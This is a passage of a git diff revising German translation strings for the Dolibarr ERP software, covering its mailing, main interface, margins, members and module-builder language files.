soll (Darlehensmodul) CreateCalcSchedule=Zahlungsplan bearbeiten diff --git a/htdocs/langs/de_DE/mailmanspip.lang b/htdocs/langs/de_DE/mailmanspip.lang index b204c1051d6..78cc73c782d 100644 --- a/htdocs/langs/de_DE/mailmanspip.lang +++ b/htdocs/langs/de_DE/mailmanspip.lang @@ -7,7 +7,7 @@ MailmanCreationSuccess=Einschreibetest wurde erfolgreich durchgeführt MailmanDeletionSuccess=Abmeldetest wurde erfolgreich durchgeführt SynchroMailManEnabled=Ein Mailman-Update wird durchgeführt werden SynchroSpipEnabled=Ein Spip-Update wird durchgeführt werden -DescADHERENT_MAILMAN_ADMINPW=Administratorpasswort +DescADHERENT_MAILMAN_ADMIN_PASSWORD=Administratorpasswort DescADHERENT_MAILMAN_URL=URL für Mailman Anmeldungen DescADHERENT_MAILMAN_UNSUB_URL=URL für Mailman Abmeldungen DescADHERENT_MAILMAN_LISTS=Liste(n) für die automatische Beschriftung der neuen Mitglieder (durch Komma getrennt) diff --git a/htdocs/langs/de_DE/mails.lang b/htdocs/langs/de_DE/mails.lang index 2ecaed7fd36..081c24ed61c 100644 --- a/htdocs/langs/de_DE/mails.lang +++ b/htdocs/langs/de_DE/mails.lang @@ -7,13 +7,13 @@ MailCard=E-Mail-Kampagnenkarte MailRecipients=Empfänger MailRecipient=Empfänger MailTitle=Bezeichnung -MailFrom=Absenderadresse +MailFrom=Von MailErrorsTo=Fehlerrückmeldungen an MailReply=Antwort an -MailTo=Empfänger -MailToUsers=An Empfänger: +MailTo=An +MailToUsers=An Benutzer MailCC=Kopie an -MailToCCUsers=Kopie an Empfänger +MailToCCUsers=Kopie an Benutzer MailCCC=Blindkopie an MailTopic=E-Mail Betreff MailText=Inhalt @@ -91,18 +91,18 @@ MailingModuleDescContactsByFunction=Kontakte nach Position MailingModuleDescEmailsFromFile=E-Mail-Adressen aus csv-Datei importieren MailingModuleDescEmailsFromUser=E-Mail-Adresse durch manuelle Eingabe hinzufügen MailingModuleDescDolibarrUsers=Benutzer mit E-Mail-Adresse -MailingModuleDescThirdPartiesByCategories=Geschäftspartner (nach Kategorien) +MailingModuleDescThirdPartiesByCategories=Geschäftspartner SendingFromWebInterfaceIsNotAllowed=Versand vom Webinterface ist nicht erlaubt EmailCollectorFilterDesc=Alle Filter müssen übereinstimmen, damit eine E-Mail erfasst wird # Libelle des modules de liste de destinataires mailing LineInFile=Zeile %s in der Datei -RecipientSelectionModules=Möglichkeit des Hinzufügens +RecipientSelectionModules=Vordefinierte Empfängerlisten MailSelectedRecipients=Ausgewählte Empfänger MailingArea=Übersicht E-Mail-Kampagnen LastMailings=Neueste E-Mail-Kampagnen (maximal %s) TargetsStatistics=Zielstatistiken -NbOfCompaniesContacts=Einzigartige Partnerkontakte +NbOfCompaniesContacts=Kontakte/einmalige Adressen MailNoChangePossible=Die Empfängerliste einer freigegebenen E-Mail-Kampagne kann nicht mehr bearbeitet werden. SearchAMailing=Suche E-Mail-Kampagne SendMailing=E-Mail-Kampagne versenden @@ -141,7 +141,7 @@ YouCanAlsoUseSupervisorKeyword=Sie können auch das Schlüsselwort __SUP NbOfTargetedContacts=Aktuelle Anzahl der E-Mails-Kontakte UseFormatFileEmailToTarget=Die importierte Datei muss im folgenden Format vorliegen:
      E-Mail-Adresse;Nachname;Vorname;Zusatzinformationen. UseFormatInputEmailToTarget=Geben Sie eine Zeichenkette im Format
      E-Mail-Adresse;Nachname;Vorname;Zusatzinformationen ein -MailAdvTargetRecipients=Empfänger (Erweitere Selektion) +MailAdvTargetRecipients=Empfänger (erweiterte Auswahl) AdvTgtTitle=Füllen Sie die Eingabefelder zur Vorauswahl der Partner- oder Kontakt- / Adressen - Empänger AdvTgtSearchTextHelp=Verwenden Sie %% als Platzhalter. Um beispielsweise alle Elemente wie jean, joe, jim zu finden, können Sie j%% eingeben, außerdem ; als Trennzeichen für Werte verwenden und ! für ohne diesen Wert. Zum Beispiel wird jean; joe; jim%% ;! Jimo ;!jima%% zielt auf alle die mit jean, joe, jim beginnen, aber nicht auf jimo und nicht auf alles, was mit jima beginnt AdvTgtSearchIntHelp=Intervall verwenden um eine Integer oder Fliesskommazahl auszuwählen @@ -179,3 +179,4 @@ RecordCreatedByEmailCollector=Datensatz, der vom E-Mail-Sammler %s aus der E-Mai DefaultBlacklistMailingStatus=Standardwert für Feld '%s' beim Anlegen eines neuen Kontakts DefaultStatusEmptyMandatory=Leer aber erforderlich WarningLimitSendByDay=WARNUNG: Die Konfiguration oder der Vertrag Ihrer Instanz begrenzt Ihre Anzahl von E-Mails pro Tag auf %s . Der Versuch mehr zu senden kann dazu führen, dass Ihre Instanz langsamer wird oder ausgesetzt wird. Bitte wenden Sie sich an Ihren Support, wenn Sie ein höheres Kontingent benötigen. +NoMoreRecipientToSendTo=Kein weiteren Empfänger, an die die E-Mail gesendet werden kann diff --git a/htdocs/langs/de_DE/main.lang b/htdocs/langs/de_DE/main.lang index 331d0bd8ef7..98e4591335e 100644 --- a/htdocs/langs/de_DE/main.lang +++ b/htdocs/langs/de_DE/main.lang @@ -34,6 +34,7 @@ NoTemplateDefined=Für diesen E-Mail-Typ ist keine Vorlage verfügbar AvailableVariables=verfügbare Variablen NoTranslation=Keine Übersetzung Translation=Übersetzung +Translations=Übersetzungen CurrentTimeZone=Aktuelle Zeitzone des PHP-Servers EmptySearchString=Keine leeren Suchkriterien eingeben EnterADateCriteria=Geben Sie ein Datumskriterium ein @@ -200,11 +201,12 @@ Search=Suchen SearchOf=Suche nach SearchMenuShortCut=STRG + Umschalt + f QuickAdd=Schnelles Hinzufügen -QuickAddMenuShortCut=Ctrl (bzw. Strg) + Umschalttaste + l +QuickAddMenuShortCut=STRG + Umschalt + l Valid=Freigeben Approve=Genehmigen Disapprove=Abgelehnt ReOpen=Wiedereröffnen +OpenVerb=Offen Upload=Upload ToLink=Link Select=Auswählen @@ -222,8 +224,9 @@ UserGroup=Benutzergruppe UserGroups=Benutzergruppen NoUserGroupDefined=Keine Benutzergruppe definiert Password=Passwort -PasswordRetype=Geben Sie das Passwort noch einmal ein +PasswordRetype=Passwort wiederholen NoteSomeFeaturesAreDisabled=Bitte beachten Sie, dass viele Funktionen/Module in dieser Demo deaktiviert sind +YourUserFile=Ihre Benutzerdatei Name=Name NameSlashCompany=Name / Firma Person=Person @@ -239,7 +242,7 @@ Code=Name Type=Typ Language=Sprache MultiLanguage=Mehrsprachig -Note=Hinweis +Note=Anmerkungen Title=Bezeichnung Label=Bezeichnung RefOrLabel=Ref. oder Bezeichnung @@ -280,11 +283,11 @@ DateToday=heutiges Datum DateReference=Referenzdatum DateStart=Startdatum DateEnd=Enddatum -DateCreation=Erstellungsdatum +DateCreation=Erstellungszeitpunkt DateCreationShort=Erstelldatum IPCreation=Erstellungs-IP -DateModification=Änderungsdatum -DateModificationShort=Änderungsdatum +DateModification=letzte Änderung +DateModificationShort=letzte Änderung IPModification=Änderungs-IP DateLastModification=Datum letzte Änderung DateValidation=Festschreibungsdatum @@ -296,7 +299,7 @@ DateValueShort=Valutadatum DateOperation=Ausführungsdatum DateOperationShort=Ausführungsdatum DateLimit=Frist -DateRequest=Anfragedatum +DateRequest=Auftragsdatum DateProcess=Verarbeite Datum DateBuild=Datum der Berichterstellung DatePayment=Zahlungsdatum @@ -371,9 +374,9 @@ UnitPriceHT=Stückpreis (netto) UnitPriceHTCurrency=Stückpreis (netto) (Währung) UnitPriceTTC=Stückpreis (brutto) PriceU=Einzelpr. -PriceUHT=Einzelpr. (netto) +PriceUHT=EP (netto) PriceUHTCurrency=Einzelpr. (netto) (Währung) -PriceUTTC=Einzelpr. (inkl. St.) +PriceUTTC=Einzelpr. (brutto) Amount=Betrag AmountInvoice=Rechnungsbetrag AmountInvoiced=berechneter Betrag @@ -469,13 +472,13 @@ CommercialProposalsShort=Angebote Comment=Kommentar Comments=Kommentare ActionsToDo=Aufgaben -ActionsToDoShort=zu erledigen +ActionsToDoShort=Zu erledigen ActionsDoneShort=Erledigt ActionNotApplicable=Nicht anwendbar ActionRunningNotStarted=zu beginnen -ActionRunningShort=in Bearbeitung +ActionRunningShort=In Bearbeitung ActionDoneShort=Abgeschlossen -ActionUncomplete=Unvollständig +ActionUncomplete=Offen LatestLinkedEvents=Zuletzt verknüpfte Ereignisse (maximal %s) CompanyFoundation=Firma oder Institution Accountant=Buchhalter @@ -487,11 +490,12 @@ ActionsOnContact=Termine / Ereignisse für diesen Kontakt ActionsOnContract=Ereignisse zu diesem Kontakt ActionsOnMember=Ereignisse zu diesem Mitglied ActionsOnProduct=Ereignisse zu diesem Produkt +ActionsOnAsset=Ereignisse für dieses Anlagegut NActionsLate=%s verspätet -ToDo=zu erledigen +ToDo=Zu erledigen Completed=Abgeschlossen -Running=in Bearbeitung -RequestAlreadyDone=Anfrage bereits bekannt +Running=In Bearbeitung +RequestAlreadyDone=Überweisungsauftrag ist bereits erstellt Filter=Filter FilterOnInto=Suchkriterium '%s' ist in den Feldern %s RemoveFilter=Filter entfernen @@ -510,6 +514,7 @@ NotYetAvailable=Noch nicht verfügbar NotAvailable=Nicht verfügbar Categories=Kategorien Category=Suchwort/Kategorie +SelectTheTagsToAssign=Wählen Sie die zuzuweisenden Kategorien/Schlagworte aus By=Durch From=Von FromDate=Von @@ -542,8 +547,8 @@ StatusInterInvoiced=Berechnet Validated=Freigegeben ValidatedToProduce=Freigegeben (zu produzieren) Opened=Offen -OpenAll=Öffnen (Alle) -ClosedAll=Schließen (Alle) +OpenAll=Offene (Alle) +ClosedAll=Geschlossene (Alle) New=Neu Discount=Rabatt Unknown=Unbekannt @@ -625,7 +630,7 @@ MonthVeryShort09=S MonthVeryShort10=O MonthVeryShort11=N MonthVeryShort12=D -AttachedFiles=Angehängte Dateien und Dokumente +AttachedFiles=Angehängte Dateien JoinMainDoc=Hauptdokument verbinden JoinMainDocOrLastGenerated=Das Hauptdokument senden oder, falls nicht gefunden, das zuletzt generierte DateFormatYYYYMM=MM-YYYY @@ -728,7 +733,7 @@ ExpectedQty=Erwartete Menge PartialWoman=Teilweise TotalWoman=Vollständig NeverReceived=Nie erhalten -Canceled=Storniert +Canceled=widerrufen YouCanChangeValuesForThisListFromDictionarySetup=Sie können die Listenoptionen unter Start - Einstellungen - Stammdaten anpassen YouCanChangeValuesForThisListFrom=Werte für diese Liste können im Menü %s bearbeitet werden YouCanSetDefaultValueInModuleSetup=Sie können den Standardwert beim Erstellen eines neuen Datensatzes festlegen (Modul-Setup). @@ -808,6 +813,7 @@ URLPhoto=URL für Foto/Bild SetLinkToAnotherThirdParty=Link zu einem anderen Geschäftspartner LinkTo=Link zu LinkToProposal=Link zu Angebot +LinkToExpedition= Link zur Sendung LinkToOrder=Link zur Bestellung LinkToInvoice=Link zur Rechnung LinkToTemplateInvoice=Link zur Rechnungsvorlage @@ -893,6 +899,9 @@ MassFilesArea=Bereich für Dateien aus Massenaktionen ShowTempMassFilesArea=Bereich für Dateien aus Massenaktionen zeigen ConfirmMassDeletion=Bestätigung für Massenlöschen ConfirmMassDeletionQuestion=Möchten Sie den/die %s ausgewählten Datensatz/-sätze wirklich löschen? +ConfirmMassClone=Bestätigung des Massen-Klonens +ConfirmMassCloneQuestion=Wählen Sie das Projekt aus, in das geklont werden soll +ConfirmMassCloneToOneProject=In Projekt %s klonen RelatedObjects=Verknüpfte Objekte ClassifyBilled=Als verrechnet markieren ClassifyUnbilled=als "nicht berechnet" markieren @@ -908,13 +917,14 @@ ExportFilteredList=Exportiere gefilterte Auswahl ExportList=Liste exportieren ExportOptions=Exportoptionen IncludeDocsAlreadyExported=Bereits exportierte Dokumente einschließen -ExportOfPiecesAlreadyExportedIsEnable=Der Export von bereits exportierten Daten ist möglich -ExportOfPiecesAlreadyExportedIsDisable=Der Export von bereits exportierten Daten ist deaktiviert +ExportOfPiecesAlreadyExportedIsEnable=Bereits exportierte Dokumente sind sichtbar und werden exportiert +ExportOfPiecesAlreadyExportedIsDisable=Bereits exportierte Dokumente sind ausgeblendet und werden nicht exportiert AllExportedMovementsWereRecordedAsExported=Alle exportierten Buchungen wurden als exportiert erfasst NotAllExportedMovementsCouldBeRecordedAsExported=Nicht alle exportierten Bewegungen konnten als exportiert erfasst werden. Miscellaneous=Verschiedenes Calendar=Terminkalender GroupBy=Gruppiere nach ... +GroupByX=Gruppieren nach %s ViewFlatList=Listenansicht zeigen ViewAccountList=Hauptbuch anzeigen ViewSubAccountList=Unterkonten-Buch anzeigen @@ -926,6 +936,7 @@ DirectDownloadInternalLink=Privater Download-Link PrivateDownloadLinkDesc=Sie müssen eingeloggt sein und Berechtigungen zum Anzeigen oder Herunterladen der Datei benötigen Download=Download DownloadDocument=Dokument herunterladen +DownloadSignedDocument=Unterzeichnetes Dokument herunterladen ActualizeCurrency=Wechselkurs aktualisieren Fiscalyear=Fiskalisches Jahr ModuleBuilder=Module Builder für Module und Anwendungen @@ -1051,6 +1062,7 @@ SearchIntoContracts=Verträge SearchIntoCustomerShipments=Kundenlieferungen SearchIntoExpenseReports=Spesenabrechnungen SearchIntoLeaves=Urlaub +SearchIntoKM=Wissensbasis SearchIntoTickets=Tickets SearchIntoCustomerPayments=Kundenzahlungen SearchIntoVendorPayments=Zahlungen an Lieferanten @@ -1122,10 +1134,11 @@ DeleteFileText=Möchten Sie diese Datei wirklich löschen? ShowOtherLanguages=Andere Sprachen anzeigen SwitchInEditModeToAddTranslation=Wechseln Sie in den Bearbeitungsmodus, um Übersetzungen für diese Sprache hinzuzufügen NotUsedForThisCustomer=Wird für diesen Kunden nicht verwendet +NotUsedForThisVendor=Für diesen Lieferanten nicht verwendet AmountMustBePositive=Der Betrag muss positiv sein ByStatus=Nach Status InformationMessage=Information -Used=Gebraucht +Used=Verwendet ASAP=So schnell wie möglich CREATEInDolibarr=Datensatz %s erstellt MODIFYInDolibarr=Datensatz %s geändert @@ -1142,15 +1155,29 @@ EventReminder=Ereignis-Erinnerung UpdateForAllLines=Aktualisierung für alle Zeilen OnHold=angehalten Civility=Anrede/Titel -AffectTag=Schlagwort/Kategorie anpassen +AffectTag=Schlagwort/Kategorie zuweisen +AffectUser=Benutzer zuordnen +SetSupervisor=Vorgesetzten festlegen CreateExternalUser=Externen Benutzer anlegen -ConfirmAffectTag=Massen-Verschlagwortung/Kategorisierung -ConfirmAffectTagQuestion=Sind Sie sicher, dass Sie die Schlagwörter/Kategorien für die ausgewählten Datensätze von %s anpassen möchten? +ConfirmAffectTag=Massenzuweisung von Schlagwörtern/Kategorien +ConfirmAffectUser=Massenzuordnung von Benutzern +ProjectRole=Für jedes Projekt / jeden Lead zugewiesene Rolle +TasksRole=Für jede Aufgabe zugewiesene Rolle (falls verwendet) +ConfirmSetSupervisor=Vorgesetzten für mehrere festlegen +ConfirmUpdatePrice=Wählen Sie den Wert der Preiserhöhung/-senkung +ConfirmAffectTagQuestion=Möchten Sie den %s ausgewählten Datensätzen wirklich Schlagwörter/Kategorien zuweisen? +ConfirmAffectUserQuestion=Möchten Sie die Benutzer wirklich den ausgewählten %s Datensätzen zuordnen? +ConfirmSetSupervisorQuestion=Möchten Sie den Verantwortlichen wirklich für die ausgewählten %s-Datensätze festlegen? +ConfirmUpdatePriceQuestion=Möchten Sie den Preis der %s ausgewählten Datensätze wirklich aktualisieren? CategTypeNotFound=Für den Datensatztyp wurde kein Tag-Typ gefunden +Rate=Rate +SupervisorNotFound=Vorgesetzten nicht gefunden CopiedToClipboard=In die Zwischenablage kopiert InformationOnLinkToContract=Dieser Betrag ist nur die Summe aller Vertragszeilen. Zeitbegriff wird nicht berücksichtigt. ConfirmCancel=Sind Sie sicher, dass Sie abbrechen möchten EmailMsgID=E-Mail MsgID +EmailDate=E-Mail-Datum +SetToStatus=Auf Status %s setzen SetToEnabled=Auf aktiviert setzen SetToDisabled=Auf deaktiviert setzen ConfirmMassEnabling=Bestätigung, alle zu aktivieren @@ -1179,11 +1206,24 @@ Terminated=Deaktiviert AddLineOnPosition=Zeile an folgender Position hinzufügen (am Ende, falls leer) ConfirmAllocateCommercial=Bestätigung der Zuordnung eines Vertriebsmitarbeiters ConfirmAllocateCommercialQuestion=Möchten Sie die ausgewählten %s-Datensätze wirklich zuweisen? -CommercialsAffected=Betroffene Vertriebsmitarbeiter -CommercialAffected=Betroffene Vertriebsmitarbeiter +CommercialsAffected=Zugeordnete Vertriebsmitabeiter +CommercialAffected=Zugeordneter Vertriebsmitarbeiter YourMessage=Ihre Nachricht YourMessageHasBeenReceived=Ihre Nachricht wurde erfasst. Wir werden Ihnen so schnell wie möglich antworten. UrlToCheck=Zu überprüfende URL Automation=Automatisierung CreatedByEmailCollector=Erstellt durch E-Mail-Collector CreatedByPublicPortal=Erstellt aus dem öffentlichen Portal +UserAgent=User-Agent +InternalUser=Interne Benutzer +ExternalUser=Externer Benutzer +NoSpecificContactAddress=Kein Kontakt oder Adresse +NoSpecificContactAddressBis=Diese Registerkarte dient dazu, bestimmte Kontakte oder Adressen für das aktuelle Objekt zu erzwingen. Verwenden Sie diese Funktion nur, wenn Sie einen oder mehrere spezifische Kontakte oder Adressen für das Objekt definieren möchten für den Fall, dass die Informationen über den Geschäftspartner nicht ausreichen oder nicht spezifisch genug sind. +HideOnVCard=%s ausblenden +AddToContacts=Adresse zu meinen Kontakten hinzufügen +LastAccess=Letzter Zugriff +UploadAnImageToSeeAPhotoHere=Laden Sie ein Bild auf der Registerkarte %s hoch, um hier ein Foto zu sehen +LastPasswordChangeDate=Datum der letzten Passwortänderung +PublicVirtualCardUrl=URL der virtuellen Visitenkartenseite +PublicVirtualCard=Virtuelle Visitenkarte +TreeView=Baumansicht diff --git a/htdocs/langs/de_DE/margins.lang b/htdocs/langs/de_DE/margins.lang index 5629247e4d5..7bd49394a24 100644 --- a/htdocs/langs/de_DE/margins.lang +++ b/htdocs/langs/de_DE/margins.lang @@ -2,10 +2,11 @@ Margin=Gewinnspanne Margins=Gewinnspannen -TotalMargin=Gesamt-Spanne +TotalMargin=Gewinnspanne gesamt MarginOnProducts=Gewinnspanne / Produkte MarginOnServices=Gewinnspanne / Leistungen MarginRate=Gewinnspannen-Rate +ModifyMarginRates=Gewinnspannen ändern MarkRate=Gewinnspannen-Rate DisplayMarginRates=Zeige Gewinnspannen-Raten an DisplayMarkRates=Zeige Gewinnspannen-Raten an @@ -17,17 +18,17 @@ ProductMargins=Produkt-Gewinnspannen CustomerMargins=Kunden-Gewinnspannen SalesRepresentativeMargins=Vertreter-Gewinnspannen ContactOfInvoice=Kontakt der Rechnung -UserMargins=Spannen nach Benutzer -ProductService=Produkt oder Dienstleistung +UserMargins=Gewinnspannen nach Benutzer +ProductService=Produkt oder Leistung AllProducts=Alle Produkte und Leistungen -ChooseProduct/Service=Produkt oder Service wählen +ChooseProduct/Service=Produkt oder Leistung wählen ForceBuyingPriceIfNull=Benutze EK-Preis/Herstellkosten als Verkaufspreis, wenn nicht definiert -ForceBuyingPriceIfNullDetails=Wenn beim Hinzufügen einer neuen Zeile kein Kauf-/Einstandspreis angegeben wird und diese Option aktiviert ist, beträgt die Marge auf der neuen Zeile 0%% (Einkaufs-/Einstandspreis = Verkaufspreis). Wenn diese Option deaktiviert ist (empfohlen), entspricht die Marge dem standardmäßig vorgeschlagenen Wert (und kann 100%% betragen, wenn kein Standardwert gefunden werden kann). +ForceBuyingPriceIfNullDetails=Wenn beim Hinzufügen einer neuen Position kein Kauf-/Einstandspreis angegeben wird und diese Option AKTIVIERT ist, beträgt die Marge der neuen Position 0%% (Einkaufs-/Einstandspreis = Verkaufspreis). Wenn diese Option DEAKTIVIERT ist (empfohlen), entspricht die Marge dem standardmäßig vorgeschlagenen Wert (und kann 100%% betragen, wenn kein Standardwert gefunden werden kann). MARGIN_METHODE_FOR_DISCOUNT=Margin-Methode für globale Rabatte UseDiscountAsProduct=als Produkt -UseDiscountAsService=als Dienstleistung +UseDiscountAsService=Als Leistung UseDiscountOnTotal=auf Zwischensumme -MARGIN_METHODE_FOR_DISCOUNT_DETAILS=Definiert, ob ein globaler Rabatt als Produkt, Service oder nur als Zwischensumme für die Gewinnberechnung benutzt wird. +MARGIN_METHODE_FOR_DISCOUNT_DETAILS=Definiert, ob ein globaler Rabatt als Produkt, als Leistung oder nur als Zwischensumme für die Gewinnberechnung benutzt wird. MARGIN_TYPE=Kaufpreis / Kosten standardmäßig vorgeschlagen für Standardmargenkalkulation empfohlen\n MargeType1=Marge beim günstigsten Einkaufspreis MargeType2=gewichtete Durchschnittspreis (WAP) diff --git a/htdocs/langs/de_DE/members.lang b/htdocs/langs/de_DE/members.lang index 6c2cbf4a389..64160bacd49 100644 --- a/htdocs/langs/de_DE/members.lang +++ b/htdocs/langs/de_DE/members.lang @@ -4,6 +4,8 @@ MemberCard=Mitglied – Übersicht SubscriptionCard=Mitgliedschaft – Übersicht Member=Mitglied Members=Mitglieder +NoRecordedMembers=Keine registrierten Mitglieder +NoRecordedMembersByType=Keine registrierten Mitglieder ShowMember=Zeige Mitgliedskarte UserNotLinkedToMember=Der Benutzer ist keinem Mitglied zugewiesen ThirdpartyNotLinkedToMember=Geschäftspartner hat keine Verknüpfung zu einem Mitglied @@ -15,6 +17,7 @@ ErrorMemberIsAlreadyLinkedToThisThirdParty=Ein anderes Mitglied (Name: %s ErrorUserPermissionAllowsToLinksToItselfOnly=Aus Sicherheitsgründen müssen Sie die Berechtigungen zur Mitgliederbearbeitung besitzen, um ein Mitglied mit einem fremden Benutzerkonto (einem anderen als Ihrem eigenen) zu verknüpfen. SetLinkToUser=Mit Benutzer verknüpft SetLinkToThirdParty=Mit Geschäftspartner verknüpft +MemberCountersArePublic=Zähler gültiger Mitglieder sind öffentlich MembersCards=Erstellung von Karten MembersList=Liste der Mitglieder MembersListToValid=Liste freizugebender Mitglieder @@ -34,7 +37,8 @@ DateSubscription=Datum der Mitgliedschaft DateEndSubscription=Enddatum der Mitgliedschaft EndSubscription=Ende der Mitgliedschaft SubscriptionId=Beitrags-ID -WithoutSubscription=Ohne Mitgliedsbeitrag +WithoutSubscription=Ohne Mitgliedschaft +WaitingSubscription=Mitgliedschaft ausstehend MemberId=Mitglieds-Id MemberRef=Mitglieds-Ref. NewMember=Neues Mitglied @@ -72,6 +76,12 @@ MemberTypeCanNotBeDeleted=Mitgliedschaftstyp kann nicht gelöscht werden NewSubscription=Neuer Mitgliedsbeitrag NewSubscriptionDesc=Hier können Sie Ihre Mitgliedschaft beantragen und den Beitrag als neues Mitglied festlegen.\nWenn Sie bereits Mitglied sind und eine Beitragszahlung erneuern möchten, kontaktieren Sie uns bitte per E-Mail %s. Subscription=Mitgliedsbeitrag +AnyAmountWithAdvisedAmount=Beliebiger Betrag Ihrer Wahl, empfohlen %s +AnyAmountWithoutAdvisedAmount=Beliebiger Betrag Ihrer Wahl +CanEditAmountShort=Jeder Betrag +CanEditAmountShortForValues=empfohlen, jeder Betrag +MembershipDuration=Dauer +GetMembershipButtonLabel=Beitreten Subscriptions=Mitgliedsbeiträge SubscriptionLate=Verspätet SubscriptionNotReceived=Mitgliedsbeitrag nie erhalten @@ -104,7 +114,7 @@ FollowingLinksArePublic=Die folgenden Links sind öffentlich zugängliche Seiten PublicMemberList=Liste öffentlicher Mitglieder BlankSubscriptionForm=Öffentliches Erfassungsformular BlankSubscriptionFormDesc=Dolibarr kann ihnen eine öffentliche URL/Website zur Verfügung stellen, die es externen Besuchern erlaubt, einen Beitrag zu entrichten. Wenn ein Online-Zahlungsmodul aktiviert ist, kann auch automatisch ein Zahlungsformular bereitgestellt werden. -EnablePublicSubscriptionForm=Aktivieren der öffentlichen Webseite mit dem Formular für die Beitragshöhenerklärung (Mitgliedsantrag). +EnablePublicSubscriptionForm=Aktivieren der öffentlichen Webseite mit dem Anmeldeformular (Mitgliedsantrag). ForceMemberType=Mitgliedschaftstyp erzwingen ExportDataset_member_1=Mitglieder und Beitragszahlungen ImportDataset_member_1=Mitglieder @@ -136,7 +146,7 @@ CardContent=Inhalt der Mitgliedskarte # Text of email templates ThisIsContentOfYourMembershipRequestWasReceived=Wir haben Ihren Mitgliedsantrag erhalten.

      ThisIsContentOfYourMembershipWasValidated=Ihr Mitgliedsantrag wurde mit diesem Resultat geprüft:

      -ThisIsContentOfYourSubscriptionWasRecorded=Ihr neuer Beitrag wurde erfasst.

      +ThisIsContentOfYourSubscriptionWasRecorded=Wir möchten Sie darüber informieren, dass Ihre neue Mitgliedschaft erfasst wurde. Ihre Rechnung finden Sie anbei.

      ThisIsContentOfSubscriptionReminderEmail=Wir möchten darauf hinweisen, dass der Beitragszeitraum demnächst abläuft oder schon abgelaufen ist. (__MEMBER_LAST_SUBSCRIPTION_DATE_END__). Wir hoffen, Sie erneuern die Zahlung.

      ThisIsContentOfYourCard=Dies ist eine Zusammenfassung der Informationen, die wir über Sie haben. Bitte kontaktieren Sie uns, wenn etwas nicht stimmt.

      DescADHERENT_AUTOREGISTER_NOTIF_MAIL_SUBJECT=Betreff der Benachrichtigungsmail bei automatischer Registrierung eines Gastes @@ -198,11 +208,14 @@ SubscriptionsStatistics=Statistiken zu Mitgliedsbeiträgen NbOfSubscriptions=Anzahl der Beitragszahlungen AmountOfSubscriptions=Summer der erhaltenen Beitragszahlungen TurnoverOrBudget=Umsatz (Firma) oder Budget (Verein/Stiftung) -DefaultAmount=Standardhöhe des Mitgliesbeitrages -CanEditAmount=Der Besucher kann die Höhe seines Beitrags auswählen/bearbeiten -MEMBER_NEWFORM_PAYONLINE=Zur integrierten Bezahlseite gehen -ByProperties=Natürlich -MembersStatisticsByProperties=Natürliche Mitgliederstatistiken +DefaultAmount=Standardbetrag des Mitgliedsbeitrags (wird nur verwendet, wenn auf Ebene der Mitgliedschaftstypen kein Betrag definiert ist) +MinimumAmount=Mindestbetrag (wird nur verwendet, wenn der Beitragsbetrag kostenlos ist) +CanEditAmount=Die Mitgliedschaft ist kostenlos +CanEditAmountDetail=Der Besucher kann die Höhe seines Beitrags unabhängig vom Mitgliedstyp auswählen/bearbeiten +AmountIsLowerToMinimumNotice=von einem Gesamtbetrag von %s +MEMBER_NEWFORM_PAYONLINE=Nach der Online-Registrierung automatisch auf die Online-Zahlungsseite wechseln +ByProperties=Mitgliedsart +MembersStatisticsByProperties=Mitgliederstatistik nach Mitgliedsart VATToUseForSubscriptions=USt.-Satz für Mitgliedsbeiträge NoVatOnSubscription=Keine USt. für Mitgliedsbeiträge ADHERENT_PRODUCT_ID_FOR_SUBSCRIPTIONS=Produkt/Leistung für die Rechnungsposition: %s @@ -221,3 +234,5 @@ CreateDolibarrLoginDesc=Die Erstellung eines Benutzer-Logins für Mitglieder erm CreateDolibarrThirdPartyDesc=Der Geschäftspartner ist der Rechnungsempfänger, wenn für die Beitragszahlung eine Rechnung erstellt wird. Sie können den Geschäftspartner später während der Erfassung der Beitragszahlung festlegen. MemberFirstname=Vorname des Mitglieds MemberLastname=Nachname des Mitglieds +MemberCodeDesc=Mitgliedsnummer, individuell für alle Mitglieder +NoRecordedMembers=Keine registrierten Mitglieder diff --git a/htdocs/langs/de_DE/modulebuilder.lang b/htdocs/langs/de_DE/modulebuilder.lang index f4ea8214838..bea94f335b1 100644 --- a/htdocs/langs/de_DE/modulebuilder.lang +++ b/htdocs/langs/de_DE/modulebuilder.lang @@ -1,7 +1,8 @@ # Dolibarr language file - Source file is en_US - loan -ModuleBuilderDesc=Dieses Tool ist für erfahrene Nutzer und Entwickler gedacht. Es stellt Werkzeuge zum Erstellen und bearbeiten von eigenen Modulen zur Verfügung. Eine Dokumentation für eine alternative manuelle Entwicklung (von Modulen) findet sich hier. +IdModule= Modul-ID +ModuleBuilderDesc=Dieses Tool ist für erfahrene Nutzer und Entwickler gedacht. Es stellt Werkzeuge zum Erstellen und Bearbeiten von eigenen Modulen zur Verfügung. Eine Dokumentation für eine alternative manuelle Entwicklung findet sich hier. EnterNameOfModuleDesc=Geben Sie den Namen des zu erstellenden Moduls / der Anwendung ohne Leerzeichen ein. Verwenden Sie Großbuchstaben, um Wörter zu trennen (Beispiel: MyModule, EcommerceForShop, SyncWithMySystem...) -EnterNameOfObjectDesc=Geben Sie den Namen des zu erstellenden Objekts ohne Leerzeichen ein. Verwenden Sie Großbuchstaben, um Wörter zu trennen (z. B.: MyObject, Student, Teacher...). Die CRUD-Klassendatei, aber auch die API-Datei, Seiten zum Auflisten/Hinzufügen/Bearbeiten/Löschen von Objekten und SQL-Dateien werden generiert. +EnterNameOfObjectDesc=Geben Sie den Namen des zu erstellenden Objekts ohne Leerzeichen ein. Verwenden Sie Großbuchstaben, um Wörter zu trennen (z. B.: MyObject, Student, Teacher...). Die CRUD-Klassendatei, die Seiten zum Auflisten/Hinzufügen/Bearbeiten/Löschen des Objekts und die SQL-Dateien werden generiert. EnterNameOfDictionaryDesc=Geben Sie den Namen des zu erstellenden Wörterbuchs ohne Leerzeichen ein. Verwenden Sie Großbuchstaben, um Wörter zu trennen (Beispiel: MyDico...). Die Klassendatei, aber auch die SQL-Datei werden generiert. ModuleBuilderDesc2=Pfad, in dem Module generiert / bearbeitet werden (erstes Verzeichnis für externe Module, definiert in %s): %s ModuleBuilderDesc3=Gefundene generierte/bearbeitbare Module : %s @@ -9,6 +10,7 @@ ModuleBuilderDesc4=Ein Modul wird als 'editierbar' erkannt, wenn die Datei %s
